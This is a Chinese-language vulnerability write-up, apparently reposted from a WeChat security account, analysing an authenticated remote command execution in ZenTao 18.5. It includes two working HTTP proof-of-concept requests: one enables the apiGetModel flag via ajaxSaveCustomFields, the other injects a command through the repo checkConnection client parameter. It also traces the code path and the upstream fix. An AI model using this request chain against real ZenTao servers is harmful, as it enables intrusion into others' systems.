漏洞分析—禅道项目管理系统18.5后台RCE

admin 2024年6月27日01:38:28评论21 views字数 4331阅读14分26秒阅读模式

前言

最近在看各漏洞源更新时,发现禅道18.5爆出了一个新的RCE,poc有两个请求,分别如下:

POST /zentaopms/www/index.php?m=custom&f=ajaxSaveCustomFields&module=common§ion=features&key=apiGetModel HTTP/1.1
Host: 192.168.234.128
Content-Length: 11
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.234.128
Referer: http://192.168.234.128/zentaopms/www/index.php?m=projectstory&f=story&projectID=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: zentaosid=t33hnj6nnkdkjcid7rp3bdl63e;
Connection: close

fields=true
POST /zentaopms/www/index.php?m=api&f=getModel&moduleName=repo&methodName=checkConnection HTTP/1.1
Host: 192.168.234.128
accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Referer: http://192.168.234.128/zentaopms/www/index.php
Cookie: zentaosid=t33hnj6nnkdkjcid7rp3bdl63e;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

client=calc.exe&SCM=Subversion

漏洞分析—禅道项目管理系统18.5后台RCE

请求之后并没有执行命令,提示apiGetModel被禁用,直接到config目录下找找:

漏洞分析—禅道项目管理系统18.5后台RCE

在config.php中,默认$config->features->apiGetModel是false,这里改为true,再次执行第二个请求,成功弹出了计算器。

至此,以为该漏洞需要受害者手动修改默认配置,才能进行利用,非常鸡肋,但是想到第一个请求似乎没有任何作用,于是打算仔细分析一下两个poc以及整个利用过程。

环境搭建

调试环境搭建部分具体可见:

phpstorm+xdebug调试环境搭建

zentaopms v18.5源码下载:

禅道18.5发布啦!优化常用列表的性能,修复Bug - 禅道下载 - 禅道开源项目管理软件 (zentao.net)

漏洞分析—禅道项目管理系统18.5后台RCE

根据不同php版本下载对应安装包即可。

漏洞分析

在修改配置之后,能够成功执行命令,就先分析第二个请求。

直接看一下命令执行的触发过程。

POST /zentaopms/www/index.php?m=api&f=getModel&moduleName=repo&methodName=checkConnection
...
...
client=calc.exe&SCM=Subversion

首先看/zentaopms/www/index.php:

漏洞分析—禅道项目管理系统18.5后台RCE

前面都是与安装,更新相关的判断,直接跳过,到最后几行分别打上断点,借此判断从哪里步入。

这里让浏览器走burp的代理,在repeater中发送poc:

漏洞分析—禅道项目管理系统18.5后台RCE

如图,成功断住,往下不断执行:

漏洞分析—禅道项目管理系统18.5后台RCE

在最后一个断点之后,继续执行,弹出计算器,因此步入echo $app->outputPage();

tips:在测试中发现,如果直接把get请求改为poc,无法成功执行命令,比较两个request发现poc中必须带有referer头

漏洞分析—禅道项目管理系统18.5后台RCE

步入跟进之后发现,$this->loadModule执行之后,命令就被成功执行,继续步入:

漏洞分析—禅道项目管理系统18.5后台RCE

跟到loadModule函数的call_user_function_arraycall_user_func_array(array($module, $this->methodName), $this->params);这里调用了$module的$this->methodName方法,并且将$this->params作为参数传入。

漏洞分析—禅道项目管理系统18.5后台RCE

params为一个数组,moduleName和MethodName通过url传入,而$this->methodName为getmodel。

步入:

漏洞分析—禅道项目管理系统18.5后台RCE

在877行执行之后就会弹出计算器,打断点,此时的methodName为checkConnection,这里应该是调用了module的checkConnection方法,无参。继续步入:

漏洞分析—禅道项目管理系统18.5后台RCE

下面到了最关键的部分,checkConnection函数。如果scm=='Subversion',就会执行一个exec,而执行的命令为$client --version --quiet 2>&1,$client即为post中传入的client,如果post body为client=calc.exe&SCM=Subversion,就能成功进入if语句,并且拼接命令,执行calc.exe --version --quiet 2>&1,弹出计算器。

步过:

漏洞分析—禅道项目管理系统18.5后台RCE

成功执行。

但是在不打断点的情况下,通过poc会执行两次命令,继续步过查看:

漏洞分析—禅道项目管理系统18.5后台RCE

在1551行同样有一个exec,其中$command均是由$client拼接而成,跟前者类似,到这里漏洞的触发点已经明确了。

由此尝试往前进行推导,发现大都是通过call_user_function_array进行调用,并且模块较多,暂不查找其他利用方式,仅针对poc进行分析。

整个的调用链如下:

漏洞分析—禅道项目管理系统18.5后台RCE

下面来分析不修改config配置时的情况。

在简单的debug之后发现,在getModel中,开头的一个if判断,由于apiGetModel为false,就直接返回了错误信息,因此没能往下执行到checkConnection,进而调用exec()执行命令:

漏洞分析—禅道项目管理系统18.5后台RCE

关键就在于$config->features->apiGetModel配置项是否打开,如果打开即可执行命令,但是默认情况下为关闭。

结合第一个poc中key=apiGetModelfield=true,应该是在修改配置,下面进代码进行分析。

在整个index.php中,主要有如下几行代码:

漏洞分析—禅道项目管理系统18.5后台RCE

1、加载

2、解析请求

3、设置参数

如果直接发送第一个poc的请求(其实哪个请求都可以,主要为了看config在哪里配置),会在第72行return。

漏洞分析—禅道项目管理系统18.5后台RCE

往前一步下断点,此时apiGetModel已经是false,继续往前断,到loadCommon():

漏洞分析—禅道项目管理系统18.5后台RCE

这里依然已经是false,但是前面都是无关代码,跟进步入:

漏洞分析—禅道项目管理系统18.5后台RCE

baseRouter中的loadCommon,最终return new extCommonModel。

跟进:

漏洞分析—禅道项目管理系统18.5后台RCE

在构造方法中,唯一跟config有关的就是loadConfigFromDB,打断点步入:

漏洞分析—禅道项目管理系统18.5后台RCE

loadConfigFromDB函数中,会首先从配置文件中读取配置信息,然后到mergeConfig:

漏洞分析—禅道项目管理系统18.5后台RCE

这里的config为全局变量,会从数据库读取配置项进行覆盖。因此,只要能覆盖apiGetModel,使其为true,即可在默认配置为false的情况下,实现命令执行。

下面分析如何覆盖。

先查看数据库中的内容,结合config.php:

漏洞分析—禅道项目管理系统18.5后台RCE

如果要覆盖apiGetModel参数,就要使得module为common,section为features,key为apiGetModel,然后在loadCommon时,在构造方法中调用mergeConfig即可。

继续看下代码的commit:+ custom: limit the items user can save to db to prevent command exec… · easysoft/zentaopms@24b3fba (github.com)

漏洞分析—禅道项目管理系统18.5后台RCE

最主要的改动在于control.php中的ajaxSaveCustomFields方法,而poc_1中也是利用了该方法/zentaopms/www/index.php?m=custom&f=ajaxSaveCustomFields&module=common§ion=features&key=apiGetModel

定位到该函数:

漏洞分析—禅道项目管理系统18.5后台RCE

获取账户信息之后,从POST请求中读取fields值,再进行自定义内容的修改。因此,只要先通过该方法,将apiGetModel修改为true,再通过mergeConfig从数据库读取参数值进行覆盖即可。

直接搜索:

漏洞分析—禅道项目管理系统18.5后台RCE

都是在html.php中,没有有效信息,应该都是通过call的方式进行调用。

尝试直接构造一个请求来调用该方法:

漏洞分析—禅道项目管理系统18.5后台RCE

调用custom下的ajaxSaveCustomFields,module,section和key的值在前面已经都分析过,发送请求之后成功断住:

漏洞分析—禅道项目管理系统18.5后台RCE

在执行setItem之后,到数据库中查看:

漏洞分析—禅道项目管理系统18.5后台RCE

已经多了一条数据。

在mergeConfig下断点:

漏洞分析—禅道项目管理系统18.5后台RCE

可以看到,此时person的配置里,已经出现了刚刚添加的一条数据,并且值为true,但是此时$this->config->features->apiGetModel依然为false(从配置文件读取的)。

继续往下,当把这条数据覆盖掉之后,$this->config->features->apiGetModel变成了true:

漏洞分析—禅道项目管理系统18.5后台RCE

下面发送poc_2:

漏洞分析—禅道项目管理系统18.5后台RCE


原文始发于微信公众号(Crush Sec):漏洞分析—禅道项目管理系统18.5后台RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月27日01:38:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞分析—禅道项目管理系统18.5后台RCEhttps://cn-sec.com/archives/2887063.html

发表评论

匿名网友 填写信息